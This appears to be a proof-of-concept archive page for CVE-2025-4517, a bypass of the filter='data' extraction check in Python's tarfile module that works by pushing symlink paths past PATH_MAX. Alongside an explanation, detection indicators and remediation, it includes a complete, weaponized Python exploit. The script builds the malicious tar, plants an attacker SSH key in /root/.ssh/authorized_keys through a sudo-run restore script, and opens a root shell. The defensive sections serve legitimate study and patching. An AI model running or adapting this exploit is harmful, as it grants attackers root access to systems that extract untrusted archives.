PoC Archive PoC Archive
Critical CVE-2025-4517 patched

Python tarfile `filter="data"` Bypass via PATH_MAX/realpath Confusion (CVE-2025-4517)

by Esteban Zárate — [github.com/estebanzarate](https://github.com/estebanzarate) (cleanup/simplification; original discovery credited to the Python Security Response Team) · 2026-07-06

CVSS 9.4/10
Severity
Critical
CVE
CVE-2025-4517
Category
misc
Affected product
Python standard library tarfile module — filter="data" / filter="tar" extraction filters (PEP 706)
Affected versions
Python 3.8.0 through 3.13.1 (per source repository)
Disclosed
2026-07-06
Patch status
patched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherEsteban Zárate — github.com/estebanzarate (cleanup/simplification; original discovery credited to the Python Security Response Team)
CVE / AdvisoryCVE-2025-4517
Categorymisc
SeverityCritical
CVSS Score9.4 (per NVD)
StatusWeaponized
Tagspython, tarfile, path-traversal, sandbox-bypass, path_max, realpath, symlink, cwe-22, stdlib
RelatedN/A

Affected Target

FieldValue
Software / SystemPython standard library tarfile module — filter="data" / filter="tar" extraction filters (PEP 706)
Versions AffectedPython 3.8.0 through 3.13.1 (per source repository)
Language / PlatformPython 3 PoC, exploiting a Linux/POSIX filesystem PATH_MAX (4096-byte) limitation in path resolution
Authentication RequiredDepends on the integrating application — any code path that calls tarfile.extractall(filter="data") (or "tar") on an attacker-influenced archive is affected. This PoC’s staged demo additionally requires local access with sudo rights to trigger a specific backup-restore script.
Network Access RequiredNo for this PoC’s local trigger — but any networked service that extracts attacker-supplied tar archives (e.g. an upload/import/backup-restore feature) using the affected filter would be remotely exploitable via the same technique.

Summary

Python’s tarfile module added extraction filters (filter="data"/"tar", PEP 706, enabled by default since Python 3.12 and backported) specifically to prevent unsafe archive extraction — path traversal, symlink escapes, and writes outside the destination directory. CVE-2025-4517 is a bypass of that sandbox: the filter’s safety check calls os.path.realpath() to resolve a member’s path and confirm it stays inside the extraction directory, but realpath() silently stops resolving symlinks once the accumulated path exceeds PATH_MAX (4096 bytes on Linux) and returns the unresolved (safe-looking) path instead of raising an error. The kernel, however, has no such limit during the actual extraction/write syscalls and fully resolves the same symlink chain, escaping the intended sandbox. This PoC builds a tar archive with deeply nested 247-character directory names and chained symlinks that push the resolved path just past PATH_MAX, then uses the resulting confusion to write an SSH public key to /root/.ssh/authorized_keys, granting the attacker root SSH access.


Vulnerability Details

Root Cause

filter="data"’s safety check resolves each tar member’s destination path with os.path.realpath() before extracting, to make sure it does not escape the destination directory (directly, or via a malicious symlink target). On Linux, realpath() (like the underlying kernel path-resolution routines it wraps in Python’s C implementation) is bounded by PATH_MAX (4096 bytes). When a symlink chain’s cumulative resolved path grows past that limit, resolution stops early and the function returns a truncated/unresolved path rather than erroring — so the security check evaluates a path it believes is still safely inside the staging directory. During actual extraction, however, the OS resolves the full symlink chain without the same short-circuit, and the write lands wherever the fully-resolved chain points — outside the sandbox.

The PoC constructs this condition directly in create_exploit_tar():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
comp  = "d" * 247
steps = "abcdefghijklmnop"  # 16 levels deep
path  = ""
...
for i in steps:
    dir_entry = tarfile.TarInfo(os.path.join(path, comp))
    dir_entry.type = tarfile.DIRTYPE
    tar.addfile(dir_entry)

    sym_entry = tarfile.TarInfo(os.path.join(path, i))
    sym_entry.type = tarfile.SYMTYPE
    sym_entry.linkname = comp
    tar.addfile(sym_entry)

    path = os.path.join(path, comp)

linkpath = os.path.join("/".join(steps), "l" * 254)
traversal = tarfile.TarInfo(linkpath)
traversal.type = tarfile.SYMTYPE
traversal.linkname = "../" * len(steps)
tar.addfile(traversal)

escape = tarfile.TarInfo("escape")
escape.type = tarfile.SYMTYPE
escape.linkname = linkpath + "/../../../../../../../root"
tar.addfile(escape)

Sixteen levels of 247-character directory names (each paired with a single-character symlink pointing at the long name) push the cumulative resolved path length well past 4096 bytes. A final escape symlink then appends ../../../../../../../root to that already-oversized path. When filter="data" calls realpath() on escape, resolution stops at PATH_MAX and the check sees a path that still appears to be inside the staging/extraction directory — so it passes. The kernel, resolving the same chain during the actual write, has no such limit and correctly walks all the way to /root. A regular file member (escape/.ssh/authorized_keys) written “through” that symlink is therefore physically written to /root/.ssh/authorized_keys.

Attack Vector

  1. Attacker builds a malicious tar archive containing 16 levels of 247-character nested directories and paired symlinks, a final long symlink performing ../ traversal, and an escape symlink whose target is the oversized path plus ../../../../../../../root.
  2. Attacker delivers/stages this tar wherever a privileged process will extract it with filter="data" (in this PoC, copied into a backup directory consumed by a sudo-invoked restore script; more broadly, any upload/import/CI artifact/backup-restore pathway that extracts attacker-supplied tars).
  3. The victim process calls tarfile.extractall(filter="data") (or "tar") on the archive. os.path.realpath() truncates resolution at PATH_MAX and the safety check passes.
  4. The kernel fully resolves the symlink chain during the actual extraction write, and a file nominally destined for escape/.ssh/authorized_keys is physically written to /root/.ssh/authorized_keys.
  5. The attacker’s SSH public key is now trusted for the root account; the attacker authenticates via SSH using the matching private key, confirmed by id returning uid=0(root).

Impact

Any application, service, or automated pipeline that extracts attacker-influenced tar archives while relying on filter="data"/"tar" for sandboxing (backup/restore tools, CI/CD artifact unpacking, package installers, file-upload/import features, container image layer handling, etc.) can have arbitrary files written outside the intended extraction directory. In the demonstrated scenario this escalates to root SSH access via authorized_keys injection; in general it enables path traversal, arbitrary file write/overwrite, and — depending on what paths are writable — code execution or privilege escalation.


Environment / Lab Setup

Vulnerable component: Python 3.8.0 - 3.13.1 `tarfile` module (filter="data"/"tar").
PoC-staged scenario (as scripted): a privileged backup/restore workflow —
  - Backup files land in /opt/backup_clients/backups/
  - A restore script /opt/backup_clients/restore_backup_clients.py is invoked via `sudo` to extract them
  - Requires local shell access with sudo rights to trigger that specific script (this is scenario/lab scaffolding
    the PoC author used to demonstrate impact; the underlying tarfile bug itself does not require sudo — it
    requires only that *some* process extract an attacker-influenced tar with the affected filter).
Attacker tooling: Python 3, `ssh-keygen`, `ssh` client.

Proof of Concept

PoC Script

See CVE-2025-4517.py in this folder.

1
2
3
python3 CVE-2025-4517.py

python3 CVE-2025-4517.py -k ~/.ssh/id_ed25519.pub

Example run (from the source repository’s documented output):

[+] SSH keypair generated: /tmp/cve_2025_4517_key
[*] Creating exploit tar...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Extraction completed
[*] Verifying exploit via SSH...
[+] SUCCESS! SSH as root confirmed: uid=0(root) gid=0(root) groups=0(root)

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] SSH into root with: ssh -i /tmp/cve_2025_4517_key root@localhost
============================================================

Detection & Indicators of Compromise

Tar archive members with:
  - directory/symlink names of unusual fixed length (e.g. 247 or 254 characters)
  - deeply nested (10+ level) directory chains composed of such long names
  - symlink targets containing long runs of "../" traversal sequences
  - a final symlink ("escape"-style) whose resolved target combines an oversized path with additional "../" segments

Signs of compromise:

  • Unexpected entries appearing in /root/.ssh/authorized_keys (or other sensitive files) with no corresponding legitimate administrative change.
  • Backup/restore or extraction processes writing files outside their designated staging/output directory.
  • Tar archives on disk containing abnormally long directory/symlink names or deeply nested symlink chains.
  • SSH logins to privileged accounts from unfamiliar keys shortly after a backup-restore or archive-import operation.

Remediation

ActionDetail
Primary fixUpgrade to a Python version with the corrected tarfile filter logic (patched releases address the PATH_MAX/realpath() truncation issue in filter="data"/"tar") — see the official Python security advisory for exact fixed versions.
Interim mitigationAvoid extracting untrusted/attacker-influenced tar archives with any privileged process; reject archives containing abnormally long paths or deep symlink nesting prior to extraction; extract untrusted archives in an isolated, unprivileged, disposable environment (e.g. container with no sensitive mounted paths) regardless of the filter argument used.

References


Notes

Mirrored from https://github.com/estebanzarate/CVE-2025-4517-Python-tarfile-filter-data-Bypass-PoC on 2026-07-06. Complete, working exploit: generates a malicious tar exploiting PATH_MAX/realpath confusion to bypass filter="data" and write SSH keys, escalating to root. The staged backup/restore/sudo scenario in the script is lab scaffolding to demonstrate impact end-to-end; the core tarfile bypass itself applies to any process extracting attacker-influenced archives with the affected filter.

CVE-2025-4517.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#!/usr/bin/env python3
"""
CVE-2025-4517 - Python tarfile filter="data" Bypass via PATH_MAX Overflow
Writes an SSH public key to /root/.ssh/authorized_keys for root access.
Affected: Python 3.8.0 - 3.13.1

Usage: python3 exploit.py [-k /path/to/key.pub]
"""

import argparse
import io
import os
import subprocess
import sys
import tarfile


def generate_ssh_keypair():
    """Generate a temporary SSH keypair and return (private_key_path, public_key)."""
    key_path = "/tmp/cve_2025_4517_key"
    if os.path.exists(key_path):
        os.remove(key_path)
    if os.path.exists(f"{key_path}.pub"):
        os.remove(f"{key_path}.pub")

    result = subprocess.run(
        ["ssh-keygen", "-t", "ed25519", "-f", key_path, "-N", "", "-q"],
        capture_output=True
    )
    if result.returncode != 0:
        print(f"[-] ssh-keygen failed: {result.stderr.decode()}")
        sys.exit(1)

    with open(f"{key_path}.pub") as f:
        public_key = f.read().strip()

    print(f"[+] SSH keypair generated: {key_path}")
    return key_path, public_key


def create_exploit_tar(public_key, output_file):
    """
    Builds a malicious tar that bypasses filter="data" via PATH_MAX confusion.

    Flow:
      1. Nested dirs with 247-char names create paths > 4096 bytes
      2. os.path.realpath() silently stops resolving at PATH_MAX
      3. filter="data" checks the unresolved path (safe-looking)
      4. Kernel resolves the real path during extraction (escapes sandbox)
      5. Regular file written through the escaped symlink lands in /root/.ssh/
    """
    print("[*] Creating exploit tar...")

    comp  = "d" * 247
    steps = "abcdefghijklmnop"  # 16 levels deep
    path  = ""

    pubkey_entry = (public_key + "\n").encode()

    with tarfile.open(output_file, mode="w") as tar:

        # Deep nested directories + single-char symlinks to long names
        for i in steps:
            dir_entry = tarfile.TarInfo(os.path.join(path, comp))
            dir_entry.type = tarfile.DIRTYPE
            tar.addfile(dir_entry)

            sym_entry = tarfile.TarInfo(os.path.join(path, i))
            sym_entry.type = tarfile.SYMTYPE
            sym_entry.linkname = comp
            tar.addfile(sym_entry)

            path = os.path.join(path, comp)

        # Symlink going up 16 levels from inside the deep path
        linkpath = os.path.join("/".join(steps), "l" * 254)
        traversal = tarfile.TarInfo(linkpath)
        traversal.type = tarfile.SYMTYPE
        traversal.linkname = "../" * len(steps)
        tar.addfile(traversal)

        # Escape symlink pointing to /root.
        # filter="data" resolves "escape" -> linkpath + /../../../../../../../root
        # but linkpath is so long that realpath() stops at PATH_MAX and
        # sees the path as still inside the staging dir — check passes.
        # The kernel resolves it correctly during extraction.
        escape = tarfile.TarInfo("escape")
        escape.type = tarfile.SYMTYPE
        escape.linkname = linkpath + "/../../../../../../../root"
        tar.addfile(escape)

        # Write .ssh dir through the escape symlink
        ssh_dir = tarfile.TarInfo("escape/.ssh")
        ssh_dir.type = tarfile.DIRTYPE
        ssh_dir.mode = 0o700
        tar.addfile(ssh_dir)

        # Write the public key directly through the escape symlink.
        # filter="data" tries realpath("escape/.ssh/authorized_keys") but
        # "escape" itself points to the long path, exceeding PATH_MAX again —
        # check passes, kernel writes to /root/.ssh/authorized_keys.
        payload = tarfile.TarInfo("escape/.ssh/authorized_keys")
        payload.type = tarfile.REGTYPE
        payload.size = len(pubkey_entry)
        tar.addfile(payload, fileobj=io.BytesIO(pubkey_entry))

    print(f"[+] Exploit tar created: {output_file}")
    return output_file


def deploy_and_execute(tar_file, backup_id="9999"):
    """Copy the exploit tar to the backup dir and trigger extraction as root."""
    backup_dir  = "/opt/backup_clients/backups"
    backup_file = f"backup_{backup_id}.tar"
    backup_path = os.path.join(backup_dir, backup_file)

    print(f"[*] Deploying exploit to: {backup_path}")
    try:
        subprocess.run(["cp", tar_file, backup_path], check=True)
        print("[+] Exploit deployed successfully")
    except subprocess.CalledProcessError:
        print("[-] Failed to deploy exploit — check write permissions on backups/")
        return False

    print("[*] Triggering extraction via vulnerable script...")
    cmd = [
        "sudo",
        "/usr/local/bin/python3",
        "/opt/backup_clients/restore_backup_clients.py",
        "-b", backup_file,
        "-r", f"restore_pwn{backup_id}",
    ]

    result = subprocess.run(cmd, capture_output=True, text=True)
    print(result.stdout)
    if result.returncode != 0:
        print(f"[-] Extraction failed:\n{result.stderr}")
        return False

    print("[+] Extraction completed")
    return True


def verify_exploit(key_path):
    """Try SSH as root using the generated key."""
    print("[*] Verifying exploit via SSH...")
    result = subprocess.run(
        [
            "ssh", "-i", key_path,
            "-o", "StrictHostKeyChecking=no",
            "-o", "ConnectTimeout=5",
            "root@localhost", "id"
        ],
        capture_output=True, text=True
    )
    if "uid=0" in result.stdout:
        print(f"[+] SUCCESS! SSH as root confirmed: {result.stdout.strip()}")
        return True
    else:
        print(f"[-] SSH verification failed: {result.stderr.strip()}")
        return False


def main():
    parser = argparse.ArgumentParser(
        description="PoC exploit for CVE-2025-4517 - tarfile filter bypass for root SSH access"
    )
    parser.add_argument(
        "-k", "--key",
        help="Path to existing SSH public key (default: generate a new keypair)"
    )
    args = parser.parse_args()

    if args.key:
        with open(args.key) as f:
            public_key = f.read().strip()
        key_path = args.key.replace(".pub", "")
        print(f"[*] Using provided public key: {args.key}")
    else:
        key_path, public_key = generate_ssh_keypair()

    exploit_tar = "/tmp/cve_2025_4517_exploit.tar"
    create_exploit_tar(public_key, exploit_tar)

    if not deploy_and_execute(exploit_tar):
        print("[-] Exploit failed during deployment/execution")
        sys.exit(1)

    if verify_exploit(key_path):
        print("\n" + "=" * 60)
        print("[+] EXPLOITATION SUCCESSFUL!")
        print(f"[+] SSH into root with: ssh -i {key_path} root@localhost")
        print("=" * 60 + "\n")
        answer = input("[?] Open root shell now? (y/n): ")
        if answer.lower() == "y":
            os.execvp("ssh", ["ssh", "-i", key_path, "-o", "StrictHostKeyChecking=no", "root@localhost"])
    else:
        print("[-] Exploit verification failed")
        print(f"[*] Try manually: ssh -i {key_path} root@localhost")
        sys.exit(1)


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Interrupted")
        sys.exit(1)
    except Exception as e:
        print(f"[-] Unexpected error: {e}")
        sys.exit(1)